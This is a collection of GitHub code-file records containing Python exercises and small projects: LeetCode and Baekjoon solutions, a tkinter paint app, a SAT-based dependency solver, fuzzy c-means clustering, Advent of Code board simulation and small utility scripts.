weights1,weights2_1,weights2_2,weights2_3,weights3,biases2_1,biases2_2,biases2_3,biases3=nt.forward_backward_propagation(train[j,:],train_labels[j],learning_rate,weights1,weights2_1,weights2_2,weights2_3,weights3,biases2_1,biases2_2,biases2_3,biases3)\n print(\"Epoch:\"+ str(epoch+1)+\"\\n\")\n print(\" Training Accuracy:\"+str(accuracy(train,train_labels, weights1,weights2_1,weights2_2,weights2_3,weights3,biases2_1,biases2_2,biases2_3,biases3)))\n print(\" Validation Accuracy:\"+str(accuracy(valid,valid_labels, weights1,weights2_1,weights2_2,weights2_3,weights3,biases2_1,biases2_2,biases2_3,biases3))) \n \nnp.savez('model.npz', model_1=weights1,model_2=weights2_1,model_3=weights2_2,model_4=weights2_3,model_5=weights3,model_6=biases2_1,model_7=biases2_2,model_8=biases2_3,model_9=biases3)\n \n\n","repo_name":"barisbb/Neural-Language-Model","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36841334572","text":"# TODO: efficiency of runtime\n# defaultdict?\n\n\nclass Solution(object):\n def dfs_search(self, eqmap, dag, visited, sfrom, sto):\n #print(sfrom)\n #if (sfrom, sto) not in eqmap:\n # return -1.0, False\n \n #if sto == sfrom: # arrived the end of one query path\n # return 1.0, True\n # keep searching, mark sfrom node as visited \n #visited[sfrom] = 1\n # traverse the children node of sfrom\n #print(visited)\n if sfrom not in visited:\n return -1.0, False\n if sfrom == sto:\n return 1.0, True\n visited[sfrom] = 1\n #print(sfrom)\n for it in dag[sfrom]:\n #print(dag[sfrom])\n #print(sfrom, it)\n #print(visited)\n if (sfrom, it) in eqmap and visited[it] == 0:\n #visited[it] = 1\n #print((sfrom, it))\n res, flag = self.dfs_search(eqmap, dag, visited, it, sto)\n if flag == True: # if one path is obtain\n return res*eqmap[(sfrom, it)], True\n # there is no path seen from sfrom, return false and unmark visited of sfrom\n visited[sfrom] = 0\n return -1.0, False\n\n \n def calcEquation(self, equations, values, queries):\n ret = []\n eqmap = dict()\n dag = dict()\n visited = dict()\n sz = len(values)\n for it in range(0, sz):\n (sfrom, sto) = equations[it]\n if sfrom not in dag:\n dag[sfrom] = []\n dag[sfrom].append(sto)\n visited[sfrom] = 0\n eqmap[(sfrom, sto)] = values[it]\n if sto not in dag:\n dag[sto] = []\n dag[sto].append(sfrom)\n visited[sto] = 0\n eqmap[(sto, sfrom)] = 1.0/values[it]\n \n #print(eqmap)\n\n #print(dag)\n \n for it in queries:\n (sfrom, sto) = it\n res, flag = self.dfs_search( eqmap, dag, visited, sfrom, sto)\n for it in visited:\n visited[it]=0\n \n #print(visited)\n if flag == False:\n ret.append(-1.0)\n else:\n ret.append(res)\n return ret\n\n\n\n def calcEquationFloydWarshall(self, equations, values, queries):\n mm = collections.defaultdict(dict)\n for it in range(0, len(values)):\n (sfrom, sto) = equations[it]\n mm[sfrom][sto] = values[it]\n mm[sto][sfrom] = 1.0/values[it]\n mm[sfrom][sfrom] = 1\n mm[sto][sto] = 1\n \n #for it in queries:\n # (sfrom, sto) = it \n for k in mm:\n for i in mm[k]:\n for j in mm[k]:\n mm[i][j] = mm[i][k] * mm[k][j]\n \n return [mm[sfrom].get(sto, -1.0) for sfrom, sto in queries ]\n \n\n \n def calcEquationDFS(self, equations, values, queries):\n import collections\n Adj = collections.defaultdict(set)\n weight = {}\n for (x, y), z in zip(equations, values):\n weight[(x,y)]= z\n weight[(y,x)] = 1.00/z\n Adj[x].add(y)\n Adj[y].add(x)\n\n\n def DFS(u, v, product = 1.0, visited=set()):\n if u == v and Adj[u] :\n return product\n p = None\n visited.add(u)\n for x in Adj[u]:\n if x not in visited:\n p = DFS(x, v, product*weight[(u, x)], visited)\n if p:\n break\n visited.remove(u)\n return p\n\n ret = []\n for s, t in queries:\n p = DFS(s,t)\n ret.append(p if p else -1.0)\n return ret\n\n \"\"\"\n Adj = collections.defaultdict(list)\n weights = {} \n for (t, s), v in zip(equations, values):\n Adj[s] += t,\n Adj[t] += s,\n weights[(s, t)] = v\n weights[(t, s)] = 1. / v\n\n def DFS_visit(u, t, product=1., visited=set()):\n if u == t and Adj[u]: \n return product\n \n visited.add(u)\n p = None\n for v in Adj[u]:\n if v not in visited:\n p = DFS_visit(v, t, product * weights[(u, v)], visited)\n \n # If any search reaches t, then we are done. Otherwise, try others.\n if p:\n break\n visited.remove(u)\n return p\n\n result = []\n for t, s in queries:\n p = DFS_visit(s, t) \n result.append(p if p else -1.0)\n \n return result \n \"\"\"\n \n# https://leetcode.com/problems/evaluate-division\n\n\na = Solution()\nequations = [ [\"a\", \"b\"], [\"b\", \"c\"] ] \nvalues = [2.0, 3.0]\nqueries = [ [\"a\", \"c\"], [\"b\", \"a\"], [\"a\", \"e\"], [\"a\", \"a\"], [\"x\", \"x\"] ]\n\nprint(equations)\nprint(values)\nprint(queries)\nprint(a.calcEquationDFS(equations, values, queries))\nequations = [[\"a\",\"b\"],[\"b\",\"c\"],[\"bc\",\"cd\"]]\nvalues=[1.5,2.5,5.0]\nqueries = [[\"a\",\"c\"],[\"c\",\"b\"],[\"bc\",\"cd\"],[\"cd\",\"bc\"]]\nprint(a.calcEquationDFS(equations, values, queries))\n","repo_name":"zhuangh/OJ","sub_path":"leetcode/py/calcEquation.py","file_name":"calcEquation.py","file_ext":"py","file_size_in_byte":5202,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43843423545","text":"import tkinter\r\nimport random \r\nX_MAX, Y_MAX = 800, 600\r\ncanvas=tkinter.Canvas(width=X_MAX,height=Y_MAX, bg = \"white\")\r\ncanvas.pack()\r\n\r\nr = 20\r\n\r\nglobal farba, hrubka\r\nfarba = \"black\"\r\nhrubka = 1\r\n\r\ndef paleta(x, y, r):\r\n canvas.create_rectangle(x-r, y-r, x+r, y+r, fill=\"red\")\r\n canvas.create_rectangle(x+r, y-r, x+3*r, y+r, fill=\"green\")\r\n canvas.create_rectangle(x+3*r, y-r, x+5*r, y+r, fill=\"blue\")\r\n canvas.create_rectangle(x-3*r, y-r, x-r, y+r)\r\n canvas.create_oval(x-3*r+5, y-r+5, x-r-5, y+r-5, fill=\"black\")\r\n canvas.create_rectangle(x-5*r, y-r, x-3*r, y+r)\r\n canvas.create_oval(x-5*r+10, y-r+10, x-3*r-10, y+r-10, fill=\"black\")\r\n canvas.create_rectangle(x-7*r, y-r, x-5*r, y+r)\r\n canvas.create_oval(x-7*r+15, y-r+15, x-5*r-15, y+r-15, fill=\"black\")\r\n canvas.create_rectangle(x-9*r, y-r, x-7*r, y+r)\r\n canvas.create_text(x-8*r, y, font = (\"Arial\", 7), text = \"erase all\")\r\n canvas.create_rectangle(x+5*r, y-r, x+7*r, y+r, fill = \"gray\")\r\n canvas.create_rectangle(x+5*r+10, y-r+7, x+7*r-10, y+r-7, fill = \"white\")\r\n canvas.create_text(x+6*r, y, font = (\"Arial\", 7), text = \"guma\")\r\n\r\ndef kreslenie(event):\r\n global a, b, farba, hrubka\r\n xx, yy = event.x, event.y\r\n canvas.create_line(a, b, xx, yy, fill = farba, width = hrubka)\r\n a, b = xx, yy\r\n \r\ndef klik(event):\r\n global a, b, farba, hrubka\r\n xx, yy = event.x, event.y\r\n a, b = xx, yy\r\n if X_MAX/2-r < xx < X_MAX/2+r and Y_MAX-r-r < yy < Y_MAX:\r\n farba = \"red\"\r\n\r\n elif X_MAX/2+r < xx < X_MAX/2+3*r and Y_MAX-r-r < yy < Y_MAX:\r\n farba = \"green\"\r\n\r\n elif X_MAX/2+3*r < xx < X_MAX/2+5*r and Y_MAX-r-r < yy < Y_MAX:\r\n farba = \"blue\"\r\n\r\n elif X_MAX/2-3*r < xx < X_MAX/2-r and Y_MAX-r-r < yy < Y_MAX:\r\n hrubka = 10\r\n\r\n elif X_MAX/2-5*r < xx < X_MAX/2-3*r and Y_MAX-r-r < yy < Y_MAX:\r\n hrubka = 5\r\n\r\n elif X_MAX/2-7*r < xx < X_MAX/2-5*r and Y_MAX-r-r < yy < Y_MAX:\r\n hrubka = 1\r\n\r\n elif X_MAX/2-9*r < xx < X_MAX/2-7*r and Y_MAX-r-r < yy < Y_MAX:\r\n canvas.delete(\"all\")\r\n paleta(X_MAX/2, Y_MAX-r, r)\r\n\r\n elif X_MAX/2+5*r < xx < X_MAX/2+7*r and Y_MAX-r-r < yy < Y_MAX:\r\n farba = \"white\"\r\n hrubka = 10\r\n\r\n# else:\r\n# print('snezi')\r\n \r\ndef pusti(event):\r\n global a, b\r\n a,b=0,0\r\n \r\npaleta(X_MAX/2, Y_MAX-r, r)\r\n\r\ncanvas.bind('', klik)\r\ncanvas.bind('', kreslenie)\r\ncanvas.bind('', pusti)\r\n\r\n","repo_name":"ZPistovcakova/kvinta-mesiac-inf","sub_path":"skicar.py","file_name":"skicar.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"32992270061","text":"import sys\r\ninput = sys.stdin.readline\r\ndef main(): \r\n l = []\r\n dic = {}\r\n N, M = map(int,input().split())\r\n for _ in range(N):\r\n word = input().strip()\r\n if len(word) >= M:\r\n l.append(word)\r\n l.sort()\r\n l.sort(key=len,reverse=True)\r\n for i in l:\r\n if i in dic:\r\n dic[i] +=1\r\n else:\r\n dic[i] = 1\r\n dic = dict(sorted(dic.items(), key=lambda x: x[1], reverse=True))\r\n for y in dic.keys():\r\n print(y)\r\nmain()","repo_name":"kimdahee7/CodingTest_Python","sub_path":"백준/Silver/20920. 영단어 암기는 괴로워/영단어 암기는 괴로워.py","file_name":"영단어 암기는 괴로워.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38930980432","text":"\nimport re\nfh = open('raven.txt')\nx = raw_input (\"enter word\")\n\nif re-search (r\"[x]\",fh,re.M):\n\n print(x + \"has been found\")\nelse:\n print (\"sorry \" +x+ \"not found\")\n","repo_name":"mwongeraE/python","sub_path":"spellChecker/wordserch.py","file_name":"wordserch.py","file_ext":"py","file_size_in_byte":172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30526226154","text":"\"\"\"\nA simple SAT solver in Python.\n\"\"\"\n\n# loom:start(classes)\nclass Expr:\n pass\n\n\nclass FalseExpr(Expr):\n pass\n\n\nclass TrueExpr(Expr):\n pass\n\n\nclass Var(Expr):\n def __init__(self, name: str):\n self.name = name\n\n\nclass Not(Expr):\n def __init__(self, expr: Expr):\n self.expr = expr\n\n\nclass And(Expr):\n def __init__(self, exprs: list[Expr]):\n self.exprs = exprs\n\n\nclass Or(Expr):\n def __init__(self, exprs: list[Expr]):\n self.exprs = exprs\n\n\nclass Impl(Expr):\n def __init__(self, p: Expr, q: Expr):\n self.p = p\n self.q = q\n\n\n# loom:end(classes)\n\n# loom:start(replace)\ndef replace(e: Expr, name: str, value: bool) -> Expr:\n if isinstance(e, FalseExpr):\n return FalseExpr()\n elif isinstance(e, TrueExpr):\n return TrueExpr()\n elif isinstance(e, Var):\n if e.name == name:\n return TrueExpr() if value else FalseExpr()\n else:\n return Var(e.name)\n elif isinstance(e, Not):\n return Not(replace(e.expr, name, value))\n elif isinstance(e, And):\n return And([replace(expr, name, value) for expr in e.exprs])\n elif isinstance(e, Or):\n return Or([replace(expr, name, value) for expr in e.exprs])\n elif isinstance(e, Impl):\n return Impl(replace(e.p, name, value), replace(e.q, name, value))\n else:\n raise TypeError(\"Invalid expression type\")\n\n\n# loom:end(replace)\n\n# loom:start(eval)\ndef eval_expr(e: Expr) -> bool:\n if isinstance(e, FalseExpr):\n return False\n elif isinstance(e, TrueExpr):\n return True\n elif isinstance(e, Var):\n raise ValueError(f\"eval: the variable {e.name} has not been replaced.\")\n elif isinstance(e, Not):\n return not eval_expr(e.expr)\n elif isinstance(e, And):\n return all(eval_expr(expr) for expr in e.exprs)\n elif isinstance(e, Or):\n return any(eval_expr(expr) for expr in e.exprs)\n elif isinstance(e, Impl):\n return (not eval_expr(e.p)) or eval_expr(e.q)\n else:\n raise TypeError(\"Invalid expression type\")\n\n\n# loom:end(eval)\n\n# loom:start(free)\ndef free(e: Expr) -> set[str]:\n if isinstance(e, FalseExpr) or isinstance(e, TrueExpr):\n return set()\n elif isinstance(e, Var):\n return {e.name}\n elif isinstance(e, Not):\n return free(e.expr)\n elif isinstance(e, And):\n return set().union(*[free(expr) for expr in e.exprs])\n elif isinstance(e, Or):\n return set().union(*[free(expr) for expr in e.exprs])\n elif isinstance(e, Impl):\n return free(e.p).union(free(e.q))\n else:\n raise TypeError(\"Invalid expression type\")\n\n\ndef any_var(e: Expr) -> str | None:\n variables: list[str] = sorted(list(free(e)))\n if len(variables) == 0:\n return None\n else:\n return variables[0]\n\n\n# loom:end(free)\n\n# loom:start(solver)\nBindings = dict[str, bool]\n\n\ndef solve(e: Expr) -> Bindings | None:\n return solver(e, {})\n\n\ndef solver(e: Expr, bs: Bindings) -> Bindings | None:\n free_var = any_var(e)\n if free_var is None:\n if eval_expr(e):\n return bs\n else:\n return None\n else:\n # Replace with True.\n t: Expr = replace(e, free_var, True)\n t_bs: Bindings = dict(bs)\n t_bs[free_var] = True\n # Replace with False.\n f: Expr = replace(e, free_var, False)\n f_bs: Bindings = dict(bs)\n f_bs[free_var] = False\n # Solve both branches, and return the first one that works.\n return solver(t, t_bs) or solver(f, f_bs)\n\n\n# loom:end(solver)\n\n\ndef string_of_expr(e: Expr) -> str:\n if isinstance(e, FalseExpr):\n return r\"\\mathbf{F}\"\n elif isinstance(e, TrueExpr):\n return r\"\\mathbf{T}\"\n elif isinstance(e, Var):\n return r\"\\text{\" + e.name + \"}\"\n elif isinstance(e, Not):\n return r\"\\neg\" + string_of_expr(e.expr)\n elif isinstance(e, And):\n return \"(\" + r\" \\land \".join(string_of_expr(expr) for expr in e.exprs) + \")\"\n elif isinstance(e, Or):\n return \"(\" + r\" \\lor \".join(string_of_expr(expr) for expr in e.exprs) + \")\"\n elif isinstance(e, Impl):\n return \"(\" + string_of_expr(e.p) + r\"\\implies\" + string_of_expr(e.q) + \")\"\n else:\n raise TypeError(\"Invalid expression type\")\n\n\n#\n# Example\n#\n\n# loom:start(deps)\nfrom dataclasses import dataclass\n\n\n@dataclass(frozen=True)\nclass Dependency:\n name: str\n minimum: int\n maximum: int\n\n\n@dataclass(frozen=True)\nclass Package:\n name: str\n version: int\n depends_on: list[Dependency]\n\n\npackages: list[Package] = [\n Package(\n \"app\",\n 0,\n [\n Dependency(\"sql\", 2, 2),\n Dependency(\"threads\", 2, 2),\n Dependency(\"http\", 3, 4),\n Dependency(\"stdlib\", 4, 4),\n ],\n ),\n Package(\"sql\", 0, []),\n Package(\"sql\", 1, [Dependency(\"stdlib\", 1, 4), Dependency(\"threads\", 1, 1)]),\n Package(\"sql\", 2, [Dependency(\"stdlib\", 2, 4), Dependency(\"threads\", 1, 2)]),\n Package(\"threads\", 0, [Dependency(\"stdlib\", 2, 4)]),\n Package(\"threads\", 1, [Dependency(\"stdlib\", 2, 4)]),\n Package(\"threads\", 2, [Dependency(\"stdlib\", 3, 4)]),\n Package(\"http\", 0, [Dependency(\"stdlib\", 0, 3)]),\n Package(\"http\", 1, [Dependency(\"stdlib\", 0, 3)]),\n Package(\"http\", 2, [Dependency(\"stdlib\", 1, 4)]),\n Package(\"http\", 3, [Dependency(\"stdlib\", 2, 4)]),\n Package(\"http\", 4, [Dependency(\"stdlib\", 3, 4)]),\n]\n# loom:end(deps)\n\n# loom:start(convert)\nfrom itertools import combinations\n\n\ndef convert(root: str, packages: list[Package]) -> Expr:\n \"\"\"\n Given a package-version to use as the root of the build DAG, and a list of\n package dependency constraints, convert them into a logical expression.\n \"\"\"\n # First things first: we need the root package to be part of the assignment.\n terms: list[Expr] = [Var(root)]\n # Add implications.\n for p in packages:\n # Package versions imply their dependencies.\n for dep in p.depends_on:\n versions: list[int] = list(range(dep.minimum, dep.maximum + 1))\n deps: list[Expr] = [package_var(dep.name, v) for v in versions]\n impl: Impl = Impl(package_var(p.name, p.version), Or(deps))\n terms.append(impl)\n # Exclude every pair of versions. We do this by taking the set.of free\n # variables in the expression built up so far, and for each package depended\n # upon, we find all the versions mentioned for it and pairwise exclude them.\n variables: set[str] = free(And(terms))\n varnames: set[str] = set([var_name(v) for v in variables])\n for name in varnames:\n vers: set[int] = {var_version(v) for v in variables if var_name(v) == name}\n for a, b in all_combinations(vers):\n terms.append(Not(And([package_var(name, a), package_var(name, b)])))\n # Finally, return the built up expression as a conjunction.\n return And(terms)\n\n\ndef package_var(name: str, version: int) -> Var:\n return Var(f\"{name}-v{version}\")\n\n\ndef var_name(var: str) -> str:\n return var.split(\"-v\")[0]\n\n\ndef var_version(var: str) -> int:\n return int(var.split(\"-v\")[1])\n\n\ndef all_combinations(lst: set[int]) -> list[tuple[int, int]]:\n return list(combinations(lst, 2))\n\n\n# loom:end(convert)\n\n# loom:start(conversion)\nformula: Expr = convert(\"app-v0\", packages)\n# loom:end(conversion)\n\n\ndef pretty_print(expr: And):\n print(\"$$\")\n print(r\"\\begin{align*}\")\n for e in expr.exprs:\n print(f\"\\\\land ~~ &{string_of_expr(e)} \\\\\\\\\")\n print(r\"\\end{align*}\")\n print(\"$$\")\n\n\npretty_print(formula)\n\n# loom:start(solution)\nbs: Bindings | None = solve(formula)\nif bs is not None:\n for k, v in sorted(bs.items(), key=lambda p: p[0]):\n print(k, v)\n# loom:end(solution)\n\nif bs is not None:\n print(\"| Variable | Value |\")\n print(\"| -------- | ----- |\")\n for k, v in sorted(bs.items(), key=lambda p: p[0]):\n b: str = r\"\\true\" if v else r\"\\false\"\n print(f\"| `{k}` | ${b}$ |\")\n\nif bs is not None:\n print(\"| Package | Version |\")\n print(\"| ------- | ------- |\")\n for k, v in sorted(bs.items(), key=lambda p: p[0]):\n if v:\n print(f\"| `{var_name(k)}` | {var_version(k)} |\")\n\n# loom:start(any_var_latest)\ndef any_var_latest(e: Expr) -> str | None:\n # Sort variables alphabetically, for determinism.\n variables: list[str] = sorted(list(free(e)))\n if len(variables) == 0:\n return None\n else:\n # Return the last one, the highest version number for the\n # (alphabetically) last package.\n return variables[-1]\n# loom:end(any_var_latest)\n\n# loom:start(solver_latest)\nBindings = dict[str, bool]\n\n\ndef solve_latest(e: Expr) -> Bindings | None:\n return solver_latest(e, {})\n\n\ndef solver_latest(e: Expr, bs: Bindings) -> Bindings | None:\n free_var = any_var_latest(e)\n if free_var is None:\n if eval_expr(e):\n return bs\n else:\n return None\n else:\n # Replace with True.\n t: Expr = replace(e, free_var, True)\n t_bs: Bindings = dict(bs)\n t_bs[free_var] = True\n # Replace with False.\n f: Expr = replace(e, free_var, False)\n f_bs: Bindings = dict(bs)\n f_bs[free_var] = False\n # Solve both branches, and return the first one that works.\n return solver_latest(t, t_bs) or solver_latest(f, f_bs)\n# loom:end(solver_latest)\n\nlatest_bs: Bindings | None = solve_latest(formula)\nif latest_bs is not None:\n print(\"| Package | Version |\")\n print(\"| ------- | ------- |\")\n for k, v in sorted(latest_bs.items(), key=lambda p: p[0]):\n if v:\n print(f\"| `{var_name(k)}` | {var_version(k)} |\")\n","repo_name":"eudoxia0/eudoxia0.github.io","sub_path":"assets/content/dependency-resolution-made-simple/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":9666,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"33946964653","text":"from server.helper.node import Node\r\nfrom math import sqrt\r\n# Program membaca file input\r\n\r\n# menghitung jarak heuristik dengan euclidean\r\ndef euclidean(node1, node2):\r\n coord1 = node1.getCoord()\r\n coord2 = node2.getCoord()\r\n x = (coord1[0] - coord2[0])**2\r\n y = (coord1[1] - coord2[1])**2\r\n return round(sqrt(x + y), 2)\r\n\r\ndef read(filename):\r\n file1 = open(filename, 'r')\r\n\r\n # bikin array of node kosong\r\n graf = []\r\n # baca baris pertama file yaitu jumlah node\r\n jmlNode = int(file1.readline())\r\n # loop sebanyak jumlah node, masukin ke array of node\r\n for i in range(jmlNode):\r\n line = file1.readline().rstrip(\"\\n\").split(\" \")\r\n x = float(line[0])\r\n y = float(line[1])\r\n name = line[2]\r\n graf.append(Node(name, (x, y), None))\r\n\r\n # mengisi atribut connected\r\n for i in range(jmlNode):\r\n # menghasilkan array line dengan len = jmlNode\r\n line = file1.readline().rstrip(\"\\n\").split(\" \")\r\n for j in range(len(line)):\r\n if line[j] != '0':\r\n # masukkan ke connected, contoh format (A,2)\r\n name = graf[j].getName()\r\n bobot = euclidean(graf[i],graf[j])\r\n graf[i].appendToconnected((name, bobot))\r\n\r\n return graf\r\n","repo_name":"ahanprojects/StimaTucil3","sub_path":"src/server/helper/fileinput.py","file_name":"fileinput.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22353527333","text":"#!/usr/bin/env python3\n\nfrom __future__ import annotations\nimport enum\nfrom typing import Dict, NamedTuple, Optional, Tuple\n\n\nclass Board(NamedTuple):\n rows: int\n cols: int\n east: Set[Tuple[int, int]]\n south: Set[Tuple[int, int]]\n\n def _coords(self, row: int, col: int) -> Tuple[int, int]:\n return (\n row % self.rows,\n col % self.cols,\n )\n\n def nextgen(self) -> Board:\n neast = set()\n nsouth = set()\n # First, east facing.\n for (row, col) in self.east:\n nxt = self._coords(row, col + 1)\n if nxt in self.east or nxt in self.south:\n neast.add((row, col))\n else:\n neast.add(nxt)\n # Then, south facing\n for (row, col) in self.south:\n nxt = self._coords(row + 1, col)\n if nxt in self.south or nxt in neast:\n nsouth.add((row, col))\n else:\n nsouth.add(nxt)\n return Board(self.rows, self.cols, neast, nsouth)\n\n @classmethod\n def parse(cls, data: str) -> Board:\n lines = data.split(\"\\n\")[:-1]\n east = set()\n south = set()\n for row, line in enumerate(lines):\n for col, char in enumerate(line):\n if char == \">\":\n east.add((row, col))\n elif char == \"v\":\n south.add((row, col))\n return cls(len(lines), len(lines[0]), east, south)\n\n def __repr__(self) -> str:\n res = \"\"\n for row in range(self.rows):\n for col in range(self.cols):\n if (row, col) in self.east:\n res += \">\"\n elif (row, col) in self.south:\n res += \"v\"\n else:\n res += \".\"\n res += \"\\n\"\n return res\n\n\n\n\nwith open(\"data/25.txt\") as f:\n data = f.read()\n\nboard = Board.parse(data)\nnxt = board.nextgen()\ni = 1\nwhile board != nxt:\n board = nxt\n nxt = board.nextgen()\n i += 1\nprint(i)\n","repo_name":"kdungs/adventofcode","sub_path":"2021/25.py","file_name":"25.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14511055605","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy.spatial import distance\nimport cv2\n\n\ndef FuzzyCMeans(data, k=2, f=2):\n '''\n Fuzzy C Means Clustering Algorithm\n Original source: https://www.youtube.com/watch?v=FA-hJBu5Bkc by The Academician\n\n Inputs:\n - data: numpy array of dimension n * d\n - n: number of datapoints\n - d: number of dimensions of a datapoint (x, y, z, ...)\n - k: (int, default=2) number of clusters\n - f: (int, default=2) \"fuzziness\" or softness of clustering\n - As f -> infinity, more cluster \"sharing\" (datapoints being in many clusters) occurs\n\n Outputs:\n - centers (numpy array): positions of the clusters\n - datapoint_clusters: datapoints and their corresponding clusters\n - numpy array of dimension n * (d+1) as the extra dimension holds the number of the cluster\n '''\n\n num_datapoints = len(data)\n num_dimensions = len(data[0]) # x, y, z, ...\n mem_values = np.random.dirichlet(np.ones(k), num_datapoints) #dirichlet --> make random mem_values that add to 1 basically\n centers = np.zeros((k, num_dimensions)) # initalize k centers with same dimensions as datapoints, all 0s\n\n # Calculate centroids\n for j in range(k):\n # Sum of all membership values (from datapoints) for a cluster j\n mem_sum = sum(np.power(mem_values[:,j], f)) \n data_mem_sum = 0\n for i in range(num_datapoints):\n # Multiplying the membership values of the datapoint by the datapoint's x, y values\n dp_sum = np.multiply(np.power(mem_values[i, j], f), data[i, :])\n data_mem_sum += dp_sum\n centroid_pos = data_mem_sum / mem_sum\n centers[j] = np.reshape(centroid_pos, num_dimensions) # Update centers positions\n # Recalculate the membership values\n for i in range(num_datapoints):\n # Calculate the total distance to ALL clusters (using Euclidean distance)\n total_dist = 0\n for j in range(k):\n total_dist += np.power(1/distance.euclidean(centers[j, 0:num_dimensions], data[i, 0:num_dimensions]), 1/(f-1))\n # New membership value is equal to the euclidean distance from a datapoint i to cluster j\n # divided by the total distance to all clusters from the same datapoint\n for j in range(k):\n new_weight = np.power((1/distance.euclidean(centers[j, 0:num_dimensions], data[i, 0:num_dimensions])), 1/(f-1)) / total_dist\n mem_values[i,j] = new_weight\n # Decide on a datapoint's primary cluster based on these updated values\n addZeros = np.zeros((num_datapoints, 1))\n datapoint_clusters = np.append(data, addZeros, axis=1)\n for i in range(num_datapoints):\n cluster_num = np.where(mem_values[i] == np.amax(mem_values[i]))\n datapoint_clusters[i, num_dimensions-1] = cluster_num[0]\n return centers, datapoint_clusters\n\n","repo_name":"linschris/clustering-algorithms","sub_path":"code/examples/implementations/FuzzyCMeans.py","file_name":"FuzzyCMeans.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29415309953","text":"import os\nimport time\n\nimport cv2\n\n# from PIL import Image\nts = time.time()\nts = time.time()\n\n# cut_frame=\"/home/mayank_sati/Desktop/crop_image/\"\n# cut_frame=cut_frame+\"image_\"+str(st)+\".jpg\"\n# cv2.imwrite(cut_frame, frame)\n\nsaved_path = \"/home/mayank_sati/Desktop/sorting_light/complete_image_with_diff_name/black/\"\ninput_folder = root = \"/home/mayank_sati/Desktop/sorting_light/complte_data/black\"\nfor root, _, filenames in os.walk(input_folder):\n if (len(filenames) == 0):\n print(\"Input folder is empty\")\n # return 1\n # time_start = time.time()\n for filename in filenames:\n image_path = os.path.join(root, filename)\n image_scale = cv2.imread(image_path, 1)\n ts = time.time()\n st = datetime.datetime.fromtimestamp(ts).strftime('%d_%m_%Y_%H_%M_%S_%f')\n cut_frame = saved_path + \"image_\" + str(st) + \".jpg\"\n cv2.imwrite(cut_frame, image_scale)\n","repo_name":"mayanks888/AI","sub_path":"Python/python_code/changefile_name.py","file_name":"changefile_name.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"72207054226","text":"import sys\n\nif __name__ == '__main__':\n N = int(sys.stdin.readline())\n res = 0\n tmp = N - len(str(N)) * 9\n if tmp < 0:\n tmp = 1\n\n for i in range(tmp, N + 1):\n num_list = list(map(int, str(i)))\n res = i + sum(num_list)\n if res == N:\n print(i)\n exit(0)\n\n if i == N:\n print(0)\n","repo_name":"camp5803/data_structure_c_py","sub_path":"boj/class_2/2231.py","file_name":"2231.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73111429906","text":"def print_formatted(number):\r\n # your code goes here\r\n w = len (bin(number)[2:])\r\n for i in range(1, number + 1):\r\n decimal = str(i)\r\n octal = oct(i)[2:]\r\n hexadecimal = hex(i)[2:].upper()\r\n binary = bin(i)[2:]\r\n \r\n print(decimal.rjust(w), octal.rjust(w), hexadecimal.rjust(w), binary.rjust(w))\r\n\r\nif __name__ == '__main__':\r\n n = int(input())\r\n print_formatted(n)","repo_name":"Rmn0Fz/HackerRank_Practice","sub_path":"Hacker_Rank/python-string-formatting.py","file_name":"python-string-formatting.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70206817107","text":"'''open .bin files in subfolders, with imv\n\n** for single-band files only!'''\nimport os\nimport sys\nsep = os.path.sep\nfrom misc import run, args\n\nprint('python3 bin.py')\n\ncmd = 'find ./ -name \"*.bin\"'\nX = [x.strip() for x in os.popen(cmd).readlines()]\nX.sort()\n\nfor x in X:\n fn = x\n cmd = 'imv ' + fn\n run(cmd)\n","repo_name":"bcgov/wps-research","sub_path":"py/bin.py","file_name":"bin.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"70162676946","text":"import sys \nsys.path.append(\"../Controlador\")\nfrom Camaras import Camaras \nfrom conexion import Conexion\nimport pandas as pd\nSELECCIONAR='SELECT * FROM Camaras'\nELIMINAR='DELETE FROM Camaras WHERE id_camara=?'\nINSERTAR='INSERT INTO Camaras(id_camara,id_parqueadero,numero,area,longitud) VALUES(?,?,?,?,?)'\nMODIFICAR=\"UPDATE Camaras set numero=?, area=?, longitud=? where id_camara=?\"\n\nclass Camaras_D:\n\tdef INSERTAR(Camaras):\n\t\tconexion=Conexion.ObtenerConexion()\n\t\tcursor= Conexion.ObtenerCursor(conexion)\n\t\tvalor=[Camaras.id_camara,Camaras.id_parqueadero,Camaras.numero,Camaras.area,Camaras.longitud]\n\t\tcursor.execute(INSERTAR,valor)\n\t\tconexion.commit()\n\t\tprint(\"el registro se guardo\")\n\t\tconexion.close()\n\tdef MODIFICAR(dato):\n\t\tconexion=Conexion.ObtenerConexion()\n\t\tcursor= Conexion.ObtenerCursor(conexion)\n\t\tcursor.execute(MODIFICAR,dato)\n\t\tconexion.commit()\n\t\tprint(\"el registro se 